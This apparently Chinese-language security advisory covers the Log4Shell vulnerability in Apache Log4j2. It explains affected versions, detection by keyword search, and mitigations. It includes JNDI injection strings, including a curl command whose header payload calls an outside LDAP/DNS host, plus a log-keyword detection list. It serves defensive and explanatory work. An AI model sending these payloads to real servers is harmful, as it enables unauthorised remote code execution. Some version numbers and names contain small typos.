北京时间12月9号深夜,Apache Log4j2被曝出一个高危漏洞,攻击者通过jndi注入攻击的形式可以轻松远程执行任何代码。随后官方紧急推出了2.15.0和2.15.0-rc1新版本修复,依然未能完全解决问题,现在已经更新到2.15.0-rc2。该漏洞被命名为Log4Shell,编号CVE-2021-44228。
高版本的jdk已修改默认配置,可以在一定程度上限制JNDI漏洞利用方式。在这些版本中
com.sun.jndi.ldap.object.trustURLCodebas设置为false,意味着jndi无法使用ldap加载远程代码。但是,还有其他针对此漏洞的攻击方式可能导致RCE。攻击者仍然可以利用服务器上的现有代码来进行有效攻击。
Log4j2是一款优秀的java日志框架,被大量用于业务开发,可能项目本身没有直接使用,但是引用的依赖包中仍然可能用到。只要用户输入的数据会被日志记录,就可被成功攻击。
影响范围Apache Log4j 2.x <= 2.15.1-rc1。
该漏洞于11月下旬由阿里云安全团队的chen zhaojun最先上报。
官网漏洞介绍
https://logging.apache.org/log4j/2.x/index.html
漏洞复现
使用官网
https://logging.apache.org/log4j/2.x/manual/lookups.html中提到的lookup功能,如果日志记录的内容进行类似以下这种形式调用{jndi:rmi://192.168.1.1:1234/bug},就可以直接在服务器端远程调用攻击者注册的名为"bug"的服务。
攻击检测
1.基于攻击方法,可以用很简单的方法检测服务器是否受到jndi注入攻击。在日志中搜索"jndi:ldap: "、 " jndi:rmi:"等关键字,如果有的话就表明服务器已经受到log4j注入攻击。
2.使用 DNS 记录器(例如dnslog.cn),您可以生成一个域名并在您的测试负载中使用它curl 127.0.0.1:8080 -H 'X-Api-Version: ${
jndi:ldap://xxx.dnslog.cn/a}'
刷新页面将显示 DNS 查询,这些查询标识了触发漏洞的主机。
警告:虽然dnslog.cn已成为测试 log4shell 的流行工具,但我们建议谨慎。在测试敏感基础设施时,发送到该站点的信息可能会被其所有者用来编目并随后加以利用。如果您希望更分散地进行测试,您可以设置自己的权威DNS服务器进行测试。
修复方法
1.升级 Apache Log4j2 所有相关应用到最新的 log4j-2.15.0-rc2 版本,rc1版本已被证实存在绕过风险,下载地址
https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2
2.配置网络防火墙,禁止系统主动外连网络,包含不限于DNS、TCP/IP、ICMP。
3.升级已知受影响的应用及组件,如
srping-boot-strater-log4j2、ApacheSolr、Apache Flink、Apache Druid、Apache Struts2。
4.紧急加固缓解措施:
①设置配置参数:
log4j2.formatMsgNoLookups=True
②修改JVM参数:
-Dlog4j2.formatMsgNoLookups=true
③修改系统环境变量:
FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS设置为true
④禁止 log4j2 所在服务器外连
⑤升级jdk版本至6u211 / 7u201 / 8u191 / 11.0.1以上
还没有评论,来说两句吧...